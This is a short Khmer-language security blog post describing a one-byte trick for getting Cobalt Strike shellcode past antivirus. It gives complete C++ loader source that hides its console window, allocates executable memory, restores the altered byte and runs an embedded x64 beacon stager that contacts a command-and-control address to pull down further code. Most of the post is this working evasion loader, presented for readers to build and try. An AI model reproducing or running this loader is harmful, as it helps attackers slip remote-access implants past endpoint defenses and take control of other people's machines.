This page looks best with JavaScript enabled

1 Byte Changed Evading Antivirus

 ·  β˜• 1 min read  ·  🐱 thik

1 Byte Evading

αžŠαŸ†αž”αžΌαž„αž™αžΎαž„αžαŸ’αžšαžΌαžœαž”αž„αŸ’αž€αžΎαž Shell Code αž‡αžΆαž”αŸ’αžšαž—αŸαž‘αž—αžΆαžŸαžΆαžš C αž“αŸ…αž€αŸ’αž“αž»αž„ Cobalt Strike αžŠαžΌαž…αžšαžΌαž”αžαžΆαž„αž€αŸ’αžšαŸ„αž˜αŸ–

c-shellcode

αžŸαžΌαž˜αž…αžΆαž”αŸ‹αž’αžΆαžšαž˜αŸ’αž˜αžŽαŸαžαŸ’αžšαž„αŸ‹ Byte αžŠαŸ†αž”αžΌαž„αž‚αŸαž“αŸƒ Code αž‚αžΊ \xfc αŸ”
αžαžŸαŸ‹!!! αž˜αž€αž€αŸ‚αž”αŸ’αžšαŸ‚αž…αŸ†αž“αž½αž“ Byte αžŠαžΌαž…αžαžΆαž„αž€αŸ’αžšαŸ„αž˜αŸ–

  • αž”αŸ’αžŠαžΌαžš \xfc αž‘αŸ…αž‡αžΆαž…αŸ†αž“αž½αž“αžαž˜αŸ’αž›αŸƒ Byte αž•αŸ’αžŸαŸαž„αŸ” ឧ. \xfd, \x3a, \x6f\ αŸ”αž›αŸ”
  • αžšαž€αŸ’αžŸαžΆαžαž˜αŸ’αž›αŸƒαžŠαžΎαž˜αžŠαŸ‚αž›αžαŸ’αžšαžΉαž˜αžαŸ’αžšαžΌαžœαž“αŸ…αž€αŸ’αž“αž»αž„ Char Variable => char first[] = "\xfc";
  • Build αž―αž€αžŸαžΆαžš exe αž‡αžΆαž˜αž½αž™αž€αž˜αŸ’αž˜αžœαž·αž’αžΈαž’αžΆαž“αž€αžΌαžŠαž‡αžΆαž€αžΆαžšαžŸαŸ’αžšαŸαž…αŸ”

αžαžΆαž„αž€αŸ’αžšαŸ„αž˜αž‡αžΆ Source Code αžŸαž˜αŸ’αžšαžΆαž”αŸ‹αž’αŸ’αž“αž€αžŠαŸ‚αž›αž…αž„αŸ‹αžŸαžΆαž€αž›αŸ’αž”αž„αžœαž·αž’αžΈαžŸαžΆαžŸαŸ’αžαŸ’αžšαž˜αž½αž™αž“αŸαŸ‡αŸ•

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
//payload.cpp
#include "stdafx.h"
#include "Windows.h"
#include <iostream>

int main(int argc, char *argv[]) {
	::ShowWindow(::GetConsoleWindow(), SW_HIDE);

	// cobalt strike beacon shellcode x64
	unsigned char shellcode[] = "\xfd\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x30\x2e\x30\x2e\x30\x2e\x35\x00\x00\x00\x00\x00";
	char first[] = "\xfc";
	void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	
	memcpy(shellcode, first, 1);
	memcpy(exec, shellcode, sizeof shellcode);
	((void(*)())exec)();
	
	return 0;
}

αž―αž€αžŸαžΆαžšαž™αŸ„αž„αŸ– ired

Share on

Thik
WRITTEN BY
thik
Security Researcher